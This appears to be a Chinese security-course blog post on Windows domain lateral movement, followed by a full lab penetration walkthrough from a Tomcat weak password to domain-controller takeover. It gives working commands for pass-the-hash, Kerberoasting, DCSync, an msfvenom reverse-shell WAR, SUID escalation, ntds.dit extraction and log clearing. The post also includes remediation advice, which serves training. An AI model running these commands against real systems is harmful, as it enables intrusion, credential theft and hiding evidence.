内网穿透 横向移动和综合渗透演练
马哥教育网络安全课程实战博客 · 第十四篇 对应课程章节:第26章 内网穿透 横向移动和综合渗透演练 实验环境:4台 Ubuntu 24.04 服务器,攻击机 113.47.1.165
一、引言
在建立内网隧道和权限维持之后,攻击者需要在内网中进行横向移动——从一台已控主机跳转到其他主机,逐步扩大控制范围,最终获取关键数据和域控权限。本篇将系统讲解 Windows 域环境下的横向移动技术,并完成一次从外网到内网的综合渗透演练。
二、横向移动技术
横向移动的核心是利用已获取的凭据(密码、Hash、票据)在其他主机上获取访问权限。Windows 域环境下主要围绕 Kerberos 和 NTLM 认证协议展开。
2.1 Pass the Hash(哈希传递)
PtH 攻击利用 NTLM 认证协议的特性:认证过程只需要 NTLM Hash,不需要明文密码。
# 使用 impacket 的 wmiexec 进行 PtH
python3 wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:NTLM_HASH administrator@192.168.1.20
# 使用 CrackMapExec 批量 PtH
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH
# 使用 mimikatz(Windows 环境下)
mimikatz # sekurlsa::pth /user:administrator /domain:corp /ntlm:NTLM_HASH
PtH 原理:
- NTLM 认证使用 Hash 而非明文密码
- 获取 Hash 后可直接用于认证
- 无需破解 Hash 即可横向移动
适用条件:
- 目标主机启用 SMB 并允许 NTLM 认证
- 账户有远程登录权限
- 未启用 SMB 签名限制
2.2 Pass the Ticket(票据传递)
PtT 攻击利用 Kerberos 票据进行认证,无需知道密码或 Hash。
# 使用 mimikatz 导出票据
mimikatz # sekurlsa::tickets /export
# 注入票据
mimikatz # kerberos::ptt ticket.kirbi
# 注入后直接访问目标
dir \\DC01.corp.local\C$
# 使用 Rubeus
Rubeus.exe ptt /ticket:base64_ticket
Rubeus.exe asktgs /ticket:base64_ticket /service:cifs/DC01.corp.local
PtT 原理:
- Kerberos 认证使用 TGT/TGS 票据
- 获取有效票据后可直接注入当前会话
- 注入后以票据对应的身份访问资源
2.3 Overpass the Hash
将 NTLM Hash 转换为 Kerberos 票据,绕过 NTLM 限制。
# 使用 mimikatz
mimikatz # sekurlsa::pth /user:administrator /domain:corp /ntlm:NTLM_HASH /run:cmd.exe
# 在弹出的 cmd 中使用 klist 查看票据
# 使用 Rubeus
Rubeus.exe asktgt /user:administrator /domain:corp /rc4:NTLM_HASH /nowrap
Overpass the Hash 原理:
- 用 NTLM Hash 请求 Kerberos TGT
- 获取 TGT 后使用 PtT 访问
- 适用于禁用 NTLM 但允许 Kerberos 的环境
2.4 SMB/Windows 共享利用
利用 Windows 默认共享进行横向移动。
# 访问默认共享
smbclient //192.168.1.20/C$ -U administrator%password
smbclient //192.168.1.20/ADMIN$ -U administrator%password
# 使用 impacket 的 smbexec
python3 smbexec.py administrator:password@192.168.1.20
# 使用 CrackMapExec 枚举共享
crackmapexec smb 192.168.1.0/24 -u administrator -p password --shares
# 通过共享上传文件
smbclient //192.168.1.20/C$ -U administrator%password -c "put evil.exe Windows\\Temp\\evil.exe"
2.5 RDP 劫持
RDP 劙持利用已断开但未注销的 RDP 会话,无需密码即可接管。
# 查看活跃的 RDP 会话
query user
# 输出示例:
# USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
# admin rdp-tcp#0 1 Active . 2024/1/15 10:00
# user1 2 Disc 5 2024/1/15 11:00
# 劫持已断开的会话(需要 SYSTEM 权限)
tscon 2 /dest:rdp-tcp#0
RDP 劫持原理:
- 用户断开 RDP 连接但会话仍在后台运行
- 以 SYSTEM 权限使用
tscon命令接管会话 - 无需目标用户密码即可进入其桌面
2.6 远程执行技术
2.6.1 PsExec
# impacket 版本
python3 psexec.py administrator:password@192.168.1.20
# 带 Hash 版本
python3 psexec.py -hashes :NTLM_HASH administrator@192.168.1.20
# Sysinternals PsExec
PsExec.exe \\192.168.1.20 -u administrator -p password cmd.exe
PsExec 原理:通过 ADMIN$ 共享上传服务程序,创建并启动远程服务执行命令,完成后清理。
2.6.2 WMI 远程执行
# impacket wmiexec
python3 wmiexec.py administrator:password@192.168.1.20
# 带 Hash
python3 wmiexec.py -hashes :NTLM_HASH administrator@192.168.1.20
# 原生 WMI(PowerShell)
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "cmd.exe /c whoami > C:\result.txt" `
-ComputerName 192.168.1.20 -Credential $cred
WMI 优势:不创建服务,不留明显日志,比 PsExec 更隐蔽。
2.6.3 WinRM 远程执行
# evil-winrm 工具
evil-winrm -i 192.168.1.20 -u administrator -p password
evil-winrm -i 192.168.1.20 -u administrator -H NTLM_HASH
# PowerShell WinRM
Enter-PSSession -ComputerName 192.168.1.20 -Credential $cred
Invoke-Command -ComputerName 192.168.1.20 -ScriptBlock { whoami } -Credential $cred
2.7 Kerberoasting
Kerberoasting 攻击针对服务账户,请求 TGS 票据并离线破解获取服务账户密码。
# 使用 Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt
# 使用 impacket
python3 GetUserSPNs.py corp.local/user:password -request
# 破解获取的 Hash
hashcat -m 13100 hashes.txt wordlist.txt
Kerberoasting 原理:
- 任何域用户可请求服务账户的 TGS 票据
- TGS 票据用服务账户密码的 Hash 加密
- 离线破解 TGS 票据获取服务账户明文密码
防御建议:服务账户使用强密码或 gMSA(组托管服务账户)。
2.8 DCSync 攻击
DCSync 攻击模拟域控制器的同步行为,从域控提取所有用户的密码 Hash。
# 使用 mimikatz
mimikatz # lsadump::dcsync /domain:corp.local /user:administrator
# 使用 impacket
python3 secretsdump.py -just-dc corp.local/user:password@DC01.corp.local
# 提取所有用户 Hash
python3 secretsdump.py -just-dc corp.local/user:password@DC01.corp.local -outputfile hashes
DCSync 原理:
- 需要拥有 DC 的复制权限(通常为 Domain Admins 或拥有 DCsync 权限的账户)
- 调用
DRSGetNCChanges接口模拟 DC 复制 - 获取域内所有用户的 NTLM Hash 和 Kerberos 密钥
DCSync 权限要求:
DS-Replication-Get-ChangesDS-Replication-Get-Changes-All- 通常 Domain Admins 或 Exchange Windows Permissions 组拥有此权限
三、综合渗透演练
3.1 场景描述
攻击机: 113.47.1.165 (公网)
│
├─① 外网 Web 服务器: 192.168.1.10 (Ubuntu 24.04, Web 服务)
│ │
│ ├─② 内网应用服务器: 192.168.2.20 (Ubuntu 24.04, 数据库)
│ │ │
│ │ └─④ 域控服务器: 192.168.3.30 (Ubuntu 24.04, Samba AD)
│ │
│ └─③ 内网文件服务器: 192.168.2.30 (Ubuntu 24.04, SMB 共享)
目标:从公网攻击机出发,逐步渗透到域控,获取域内所有用户凭据。
3.2 第一阶段:侦察
# 外网端口扫描
nmap -sS -sV -p- 113.47.1.166
# 发现开放端口:
# 22/tcp open ssh
# 80/tcp open http (nginx)
# 8080/tcp open http-proxy (Tomcat)
# Web 服务探测
curl http://113.47.1.166/
nikto -h http://113.47.1.166:8080/
# 目录爆破
gobuster dir -u http://113.47.1.166:8080/ -w /usr/share/wordlists/dirb/common.txt
# 发现 /manager/html (Tomcat 管理后台)
3.3 第二阶段:初始访问
# Tomcat 管理后台弱口令
curl -u tomcat:tomcat http://113.47.1.166:8080/manager/html
# 登录成功
# 部署恶意 WAR 包获取 Web Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=113.47.1.165 LPORT=4444 -f war -o shell.war
curl -u tomcat:tomcat --upload-file shell.war http://113.47.1.166:8080/manager/text/deploy?path=/shell
# 获取反弹 shell
nc -lvnp 4444
# 触发: curl http://113.47.1.166:8080/shell/
# 升级到交互式 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
3.4 第三阶段:权限提升
# 当前权限: tomcat 用户
whoami # tomcat
id # uid=1001(tomcat)
# 查找 SUID 程序
find / -perm -4000 -type f 2>/dev/null
# 发现 /usr/bin/find 具有 SUID
# 利用 find 提权
/usr/bin/find . -exec /bin/sh \; -quit
whoami # root
# 或利用内核漏洞
uname -r # 6.5.0-xx
# 搜索对应内核版本的提权 exploit
3.5 第四阶段:内网探测
# 获取 root 后,探测内网
ip addr # 192.168.1.10, 192.168.2.10
# 安装 FRP 建立隧道(参考上一篇)
# 攻击机 SOCKS 代理端口 1080
# 通过代理扫描内网网段
proxychains4 nmap -sT -Pn -p 22,80,445,1433,3306 192.168.2.0/24
# 发现:
# 192.168.2.20: 22, 3306 (MySQL)
# 192.168.2.30: 22, 445 (SMB)
# 192.168.3.30: 22, 445, 389, 636 (Samba AD 域控)
3.6 第五阶段:横向移动
# 通过代理连接内网 MySQL
proxychains4 mysql -h 192.168.2.20 -u root -p
# 发现数据库中存储了应用配置文件,包含内网 SSH 凭据
# 使用获取的凭据 SSH 到文件服务器
proxychains4 ssh appuser@192.168.2.30
# appuser 密码: App@2024!
# 在文件服务器上发现域用户凭据
cat /home/appuser/.config/credentials.txt
# 域用户: corp\\jwang 密码: Jw@ng2024!
# 使用域用户凭据访问域控
proxychains4 smbclient //192.168.3.30/NETLOGON -U corp\\jwang%Jw@ng2024!
# Kerberoasting 获取服务账户 Hash
proxychains4 python3 GetUserSPNs.py corp.local/jwang:Jw@ng2024! -dc-ip 192.168.3.30 -request
# 获取 sqlservice 账户 TGS Hash
# 离线破解
hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txt
# 破解成功: sqlservice: SqlS@ervice!
3.7 第六阶段:获取域控
# sqlservice 账户可能有 DCSync 权限
proxychains4 python3 secretsdump.py corp.local/sqlservice:SqlS@ervice!@192.168.3.30 -just-dc
# 输出域内所有用户 Hash:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8af0c4c...:::
# ...
# 使用 Administrator Hash 通过 PtH 获取域控 shell
proxychains4 python3 wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.3.30
3.8 第七阶段:数据窃取
# 在域控上提取域数据库
proxychains4 python3 secretsdump.py corp.local/sqlservice:SqlS@ervice!@192.168.3.30 -output-file domain_dump
# 获取所有用户密码 Hash
# 导出 ntds.dit
# wmiexec> ntdsutil "ac i ntds" "ifm" "create full C:\temp\dump" q q
# 通过 SMB 下载 dump 文件
proxychains4 smbclient //192.168.3.30/C$ -U corp\\sqlservice%SqlS@ervice! -c "cd temp\\dump; get ntds.dit /tmp/ntds.dit"
# 离线提取 Hash
python3 secretsdump.py -ntds /tmp/ntds.dit -system /tmp/SYSTEM LOCAL
3.9 攻击链总结
外网侦察 → Tomcat 弱口令 → Web Shell → SUID 提权 → root
→ FRP 隧道 → 内网扫描 → MySQL 凭据 → SSH 横向
→ 域用户凭据 → Kerberoasting → 服务账户密码
→ DCSync → 域控 Hash → PtH → 域控 Shell → 数据窃取
四、后渗透与报告
4.1 后渗透操作
# 权限维持(参考第十三篇)
# 在每台已控主机上建立持久化后门
# 数据收集
# - 域内用户列表和 Hash
# - 关键业务数据库
# - 配置文件中的敏感信息
# - 网络拓扑信息
# 清理痕迹
# - 清除安全日志: wevtutil cl Security
# - 清除系统日志: wevtutil cl System
# - 清除命令历史: history -c && rm ~/.bash_history
4.2 渗透测试报告
报告应包含以下核心内容:
1. 执行摘要
- 测试范围和时间
- 总体安全评估等级
- 关键发现概述
2. 漏洞详情
| 编号 | 漏洞名称 | 严重程度 | 影响主机 | CVSS |
|---|---|---|---|---|
| V-01 | Tomcat 弱口令 | 高 | 192.168.1.10 | 7.5 |
| V-02 | SUID 提权 | 高 | 192.168.1.10 | 7.8 |
| V-03 | 凭据存储不当 | 中 | 192.168.2.20 | 6.5 |
| V-04 | Kerberoasting | 中 | 192.168.3.30 | 6.0 |
| V-05 | DCSync 权限过大 | 严重 | 192.168.3.30 | 9.0 |
3. 攻击路径
- 详细描述从外网到域控的完整攻击链
- 每一步使用的技术和工具
- 每一步获取的权限和数据
4. 修复建议
- 修改 Tomcat 默认密码,实施强密码策略
- 修复 SUID 权限配置,定期审计
- 数据库中禁止明文存储凭据
- 服务账户使用 gMSA 或 25 字符以上强密码
- 收紧 DCSync 权限,仅 Domain Admins 拥有
- 实施网络分段,限制横向移动路径
- 部署 EDR/HIDS 检测异常行为
五、总结
横向移动是内网渗透的核心环节,Windows 域环境下的攻击技术尤为丰富。本次综合演练展示了完整的攻击链:从外网弱口令到域控沦陷,涵盖了侦察、初始访问、提权、隧道建立、横向移动、域控获取和数据窃取的全过程。
关键防御措施:
- 凭据保护:禁用 NTLM,启用 SMB 签名,使用 LAPS 管理本地管理员密码
- 权限最小化:收紧 DCSync 权限,服务账户使用 gMSA
- 网络分段:限制非必要的跨网段通信
- 监控告警:监控 Kerberos 异常请求、远程执行行为
- 凭据存储:禁止在配置文件和数据库中明文存储密码
- 补丁管理:及时安装安全更新,修复已知漏洞
下一篇我们将从防御视角出发,讲解应急响应实战。
免责声明:本文所有技术内容仅用于安全教育和授权渗透测试。未经授权对他人系统进行渗透测试属于违法行为。